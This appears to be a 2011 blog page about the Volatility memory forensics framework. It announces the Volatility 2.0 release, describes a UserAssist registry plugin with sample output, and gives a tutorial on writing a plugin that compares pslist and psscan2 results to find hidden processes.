In case you missed it, Volatility 2.0 has been released! Please download it and test it out and let us know if you have any problems via the "issues area" of the Google Code project. We have lots of documentation and for those on Windows who don't like to install Python, there is a standalone executable available in the downloads section. Make sure to check out the FAQ wiki which contains information on what is supported and how to use MHL's malware plugins.

Some OMFW materials have been released:

Moyix's slides (pdf).
MHL's Stuxnet blogpost and slides.
My slides (google docs)

You can help with the development of Volatility by giving us suggestions for plugins, writing documentation or donating malware samples. Check out the FAQ for how to do all of the above.

Saturday, April 30, 2011

Volatility 1.4 UserAssist plugin

From a computer forensics standpoint, userassist keys can provide a lot of information about user activity (see the Harlan's posts for more information).

After looking at Didier Steven's article on userassist keys for Windows 7 from Into the Boxes issue 0x0 and RegRipper, I decided to write up a plugin that would pull out UserAssist keys from all versions of windows for Volatility.

One thing I decided to add was an enumeration of GUIDs to human friendly folder names, which were obtained from here.

The plugin is available in my git repository. Simply download and place into your volatility/plugins directory and you're set.

Update: This plugin is now part of the core Volatility code

Example Output

Below you can see some snippets of output for Windows 7. The fields are pretty self explanatory, though you can read Didier Steven's article for more details. The hex dump is the actual data from which this information was parsed, just so you can verify it yourself.


$ ./vol.py -f win7.vmem --profile=Win7SP0x86 userassist --no-cache
Volatile Systems Volatility Framework 1.4_rc1
----------------------------
Registry: \??\C:\Users\admin\ntuser.dat
Key name: Count
Last updated: 2010-07-06 22:40:25

Subkeys:

Values:
REG_BINARY Microsoft.Windows.GettingStarted :
Count: 14
Focus Count: 21
Time Focused: 0:07:00.500000
Last updated: 2010-03-09 19:49:20

0000 00 00 00 00 0E 00 00 00 15 00 00 00 A0 68 06 00 .............h..
0010 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................
0020 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................
0030 00 00 80 BF 00 00 80 BF FF FF FF FF EC FE 7B 9C ..............{.
0040 C1 BF CA 01 00 00 00 00 ........

REG_BINARY UEME_CTLSESSION :
Count: 187
Focus Count: 1205
Time Focused: 6:25:06.216000
Last updated: 1970-01-01 00:00:00

0000 00 00 00 00 BB 00 00 00 B5 04 00 00 B4 90 60 01 ..............`.
0010 10 00 00 00 39 00 00 00 E9 67 28 00 7B 00 44 00 ....9....g(.{.D.
0020 36 00 35 00 32 00 33 00 31 00 42 00 30 00 2D 00 6.5.2.3.1.B.0.-.
0030 42 00 32 00 46 00 31 00 2D 00 34 00 38 00 35 00 B.2.F.1.-.4.8.5.

[snip]

REG_BINARY %windir%\system32\displayswitch.exe :
Count: 13
Focus Count: 19
Time Focused: 0:06:20.500000
Last updated: 2010-03-09 19:49:20

0000 00 00 00 00 0D 00 00 00 13 00 00 00 60 CC 05 00 ............`...
0010 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................
0020 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................
0030 00 00 80 BF 00 00 80 BF FF FF FF FF EC FE 7B 9C ..............{.
0040 C1 BF CA 01 00 00 00 00 ........

REG_BINARY %windir%\system32\calc.exe :
Count: 12
Focus Count: 17
Time Focused: 0:05:40.500000
Last updated: 2010-03-09 19:49:20

0000 00 00 00 00 0C 00 00 00 11 00 00 00 20 30 05 00 ............ 0..
0010 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................
0020 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................
0030 00 00 80 BF 00 00 80 BF FF FF FF FF EC FE 7B 9C ..............{.
0040 C1 BF CA 01 00 00 00 00 ........
........

REG_BINARY Z:\vmware-share\apps\odbg110\OLLYDBG.EXE :
Count: 11
Focus Count: 266
Time Focused: 1:19:58.045000
Last updated: 2010-03-18 01:56:31

0000 00 00 00 00 0B 00 00 00 0A 01 00 00 69 34 49 00 ............i4I.
0010 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................
0020 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................
0030 00 00 80 BF 00 00 80 BF FF FF FF FF 70 3B CB 3A ............p;.:
0040 3E C6 CA 01 00 00 00 00 >.......

REG_BINARY %ProgramFiles%\Microsoft SDKs\Windows\v7.0\Bin\vsstools\vshadow.exe :
Count: 0
Focus Count: 67
Time Focused: 0:06:12.811000
Last updated: 1970-01-01 00:00:00

0000 00 00 00 00 00 00 00 00 43 00 00 00 57 AE 05 00 ........C...W...
0010 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................
0020 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................
0030 00 00 80 BF 00 00 80 BF FF FF FF FF 00 00 00 00 ................
0040 00 00 00 00 00 00 00 00 ........

REG_BINARY %windir%\regedit.exe :
Count: 2
Focus Count: 8
Time Focused: 0:03:22.626000
Last updated: 2010-03-17 23:40:36

0000 00 00 00 00 02 00 00 00 08 00 00 00 8E 15 03 00 ................
0010 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................
0020 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................
0030 00 00 80 BF 00 00 80 BF FF FF FF FF 90 3A 93 3E .............:.>
0040 2B C6 CA 01 00 00 00 00 +.......



Here you can see an example of output from Windows XP:


$ ./vol.py -f XPSP3.vmem --profile=WinXPSP3x86 userassist --no-cache
Volatile Systems Volatility Framework 1.4_rc1
----------------------------
Registry: \Device\HarddiskVolume1\Documents and Settings\Administrator\NTUSER.DAT
Key name: Count
Last updated: 2010-11-24 16:35:34

Subkeys:

Values:
REG_BINARY UEME_CTLSESSION :
0000 91 52 5B 0E 1F 00 00 00 .R[.....

REG_BINARY UEME_CTLCUACount:ctor :
ID: 1
Count: 2
Last updated: 1970-01-01 00:00:00

0000 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 ................

REG_BINARY UEME_RUNPATH :
ID: 31
Count: 589
Last updated: 2010-11-24 16:30:49

0000 1F 00 00 00 52 02 00 00 A0 91 09 F4 F4 8B CB 01 ....R...........

REG_BINARY UEME_RUNPATH:D:\SETUP.EXE :
ID: 30
Count: 6
Last updated: 2010-09-20 15:02:47

0000 1E 00 00 00 0B 00 00 00 E0 85 39 E3 D4 58 CB 01 ..........9..X..

REG_BINARY UEME_RUNPIDL :
ID: 31
Count: 124
Last updated: 2010-11-24 14:19:29

0000 1F 00 00 00 81 00 00 00 50 78 79 9B E2 8B CB 01 ........Pxy.....

REG_BINARY UEME_RUNPIDL:%csidl2%\Microsoft Visual Basic 6.0 :
ID: 1
Count: 2
Last updated: 2009-05-12 02:28:10

0000 01 00 00 00 02 00 00 00 B0 1E DB 4A A9 D2 C9 01 ...........J....

REG_BINARY UEME_RUNPATH:C:\Program Files\Microsoft Visual Studio\VB98\VB6.EXE :
ID: 1
Count: 1
Last updated: 2009-05-12 02:28:10

0000 01 00 00 00 06 00 00 00 50 62 FC 4A A9 D2 C9 01 ........Pb.J....

REG_BINARY UEME_RUNPIDL:C:\Documents and Settings\All Users\Start Menu\Windows Update.lnk :
ID: 1
Count: 1
Last updated: 2009-05-12 02:28:36

0000 01 00 00 00 06 00 00 00 F0 D0 A1 5A A9 D2 C9 01 ...........Z....

REG_BINARY UEME_RUNPATH:C:\WINDOWS\system32\wupdmgr.exe :
ID: 31
Count: 2
Last updated: 2010-11-24 14:50:05




Shoutz to ikelos for helping me optimize this :-)


References:

Into the Boxes issue 0x0 http://intotheboxes.wordpress.com/2010/01/01/into-the-boxes-issue-0x0/

RegRipper http://regripper.wordpress.com/

Tuesday, April 05, 2011

What's the Difference? [A Brief Volatility 1.4 Plugin Tutorial]

So if you come to this blog, you've most likely heard of Volatility. You're probably also a user... maybe you've written some plugins, maybe not. Most people tend to fall into the latter category, though they may be be power users. Today I thought I'd go over a few things that might make it easier for people to start writing their own plugins for simple useful things, because even though the Volatility 1.4 isn't officially released doesn't mean that you can't enjoy it in the meantime :-)

A common way that people start their analysis is to look at differences in output of plugins that represent what the OS knows about (pslist/modules/connections/sockets etc) vs scanning for possible hidden/unlinked items. Examples of this can be seen in Jesse Kornblum's pstotal, Command Line Kung Fu's Making a Difference and MHL's psxview (which actually is very useful).

If you look at some of these examples, you might think to yourself that it's difficult to write a plugin to get a process difference, but it's really not! You can use inheritance to make your life easier.

PSList vs. PSScan2

Below is a complete plugin for printing out the difference between pslist and psscan2, which we will go over in detail.


1 import volatility.plugins.taskmods as taskmods
2 import volatility.plugins.filescan as filescan
3
4 class PSDiff(filescan.PSScan2):
5 """Print processes found in psscan2, but not in pslist"""
6
7 def __init__(self, config, *args):
8 filescan.PSScan2.__init__(self, config, *args)
9
10 def calculate(self):
11 pslist = taskmods.PSList(self._config).calculate()
12 pids = []
13 for task in pslist:
14 pids.append(task.UniqueProcessId.v())
15
16 psscan = filescan.PSScan2.calculate(self)
17 for task in psscan:
18 if task.UniqueProcessId.v() not in pids:
19 yield task



First you need to import the plugin files that contain the classes you want to inherit into your plugin file. In this case PSList is defined in volatility/plugins/taskmods.py and PSScan2 is defined in volatility/plugins/filescan.py. You can see the import in lines (1-2). Now you have to define the class for your plugin (line 4). Try to give it a meaningful name for what it does, here we will name it PSDiff. Classes should be named in CamelCase. In the parentheses after the class name we will specify which classes we want to inherit. Since we want processes that are only found in psscan2 output, we will use the render_text output function of psscan2 without having to redefine it. Therefore, since we want for our new class to be more like psscan2, we choose this class to inherit. We specify it as filescan.PSScan2 because we had imported the plugin file as "filescan" and the class for pssscan2 is named "PSScan2".

Next on line 5, we add a description of what this plugin does as a multiline comment. Whatever you type here will appear in the help function when you run python vol.py [plugin] -h, or just python vol.py -h.

Lines 7-8 are the initialization and options section of the plugin. We are not adding any command line options to this plugin and are just initializing the PSScan2 class that we inherited.

Lines 10-19 define the calculate part of our plugin, or what we want the plugin to do. In this case we only want to print out processes that are found by psscan2 and not pslist, so should decide how to do that... Since processes should have unique process IDs (PIDs) to specify unique processes. So PIDs that are found in psscan2, but not in pslist will be printed.

Let's walk through the calculate function. First we gather all processes that pslist knows about (line 11). We call the taskmods.PSList class, give it our configuration (self._config) so that it can know what profile to use and call its calculate function, which returns eprocess objects (and really is just DllList's calculate function, but we'll ignore that for now). In line 12, we define an empty list to store PIDs from pslist in order to compare to psscan2's PIDs. Lines 13-14 collect all the PIDs pslist knows about.

Now lines 16-19 repeat the process for psscan2 except that instead of collecting PIDs into a list, we check to see if the PID we've encountered is already in the list of PIDs from pslist. If it isn't, then we yield the task that contains that PID so that it will be caught by psscan2's render_text function and output onto the screen.

The output? Here you can see what it looks like on a Windows 7 image:


$ python vol.py -f win7.dd --profile=Win7SP0x86 psdiff
Volatile Systems Volatility Framework 1.4_rc1
Offset Name PID PPID PDB Time created Time exited
---------- ---------------- ------ ------ ---------- ------------------------ ------------------------
0x3eac6030 SearchProtocol 2448 1168 0x3ecf15c0 2010-06-16 23:30:52 2010-06-16 23:33:14
0x3eb10030 SearchFilterHo 1812 1168 0x3ecf1480 2010-06-16 23:31:02 2010-06-16 23:33:14
0x3f0576a0 svchost.exe 2836 508 0x3ecf15c0 2010-06-16 17:02:34 2010-06-16 17:08:43
0x3faa66e8 dllhost.exe 948 628 0x3ecf1540 2010-06-16 23:32:15 2010-06-16 23:32:21
0x3fbcf920 dllhost.exe 3776 628 0x3ecf11e0 2010-06-16 23:32:09 2010-06-16 23:32:15



The only difference in this case seems to be exited processes.

Here you can see a run on Moyix's ds_fuzz image:


$ python vol.py -f ds_fuzz_hidden_proc.img psdiff
Volatile Systems Volatility Framework 1.4_rc1
Offset Name PID PPID PDB Time created Time exited
---------- ---------------- ------ ------ ---------- ------------------------ ------------------------
0x0181b748 alg.exe 992 660 0x08140260 2008-11-15 23:43:25
0x0185dda0 cmd.exe 940 1516 0x081401a0 2008-11-26 07:43:39 2008-11-26 07:45:49
0x018af020 taskmgr.exe 808 620 0x08140280 2008-11-26 07:45:22 2008-11-26 07:45:40
0x019456e8 csrss.exe 592 360 0x08140040 2008-11-15 23:42:56
0x01946020 svchost.exe 828 660 0x081400c0 2008-11-15 23:42:57
0x019467e0 services.exe 660 616 0x08140080 2008-11-15 23:42:56
0x0194f658 svchost.exe 1016 660 0x08140100 2008-11-15 23:42:57
0x019533c8 svchost.exe 924 660 0x081400e0 2008-11-15 23:42:57



Suppose you are concerned that a PID could have been overwritten somehow (DKOM). You could rewrite the plugin to use _EPROCESS offsets instead of PIDs for a check:


1 import volatility.plugins.taskmods as taskmods
2 import volatility.plugins.filescan as filescan
3
4 class PSDiff(filescan.PSScan2):
5 """Print processes found in psscan2, but not in pslist"""
6
7 def __init__(self, config, *args):
8 filescan.PSScan2.__init__(self, config, *args)
9
10 def calculate(self):
11 pslist = taskmods.PSList(self._config).calculate()
12 offsets = []
13 for task in pslist:
14 offsets.append(task.obj_vm.vtop(task.obj_offset))
15
16 psscan = filescan.PSScan2.calculate(self)
17 for task in psscan:
18 if task.obj_offset not in offsets:
19 yield task



The changes are in lines 12, 14 and 18. The idea is the same as our PID plugin above, only with offsets. So we rename our list to offsets to make it clearer (line 12). We append the physical address of where our _EPROCESS object is found (line 14), this is because scanners like psscan2 only output physical addresses so we want to make sure that the addresses from pslist are the same. In line 18 we check to see if our _EPROCESS object offset found by psscan2 is already found by pslist and if not we yield it so that its information will be printed. Output is the same as what we saw above for our two test images.

Conclusion

So there you have it. You can use the same idea for comparing output from modules and modscan, connections and connscan2, sockets and sockscan or files and filescan etc... (I'm leaving this as an exercise for the reader ;-)).

You can check also out the references below for further reading on Python and Volatility. Make sure to read the Volatility Plugin Writers Guide that Mike Auty and Scudette put together.

Update: I just noticed that MHL also gave the Command Line Kung Fu crew a psdiff example. You can check out another way of doing things over there.

Update 2: I just updated the code to work with the current changes in the svn (we moved psscan2 to filescan).

References

Google Python Class http://code.google.com/edu/languages/google-python-class/

Python 2.7 Tutorial http://docs.python.org/tutorial/

Volatility Plugin Writers Guide http://code.google.com/p/volatility/wiki/PluginWritersGuide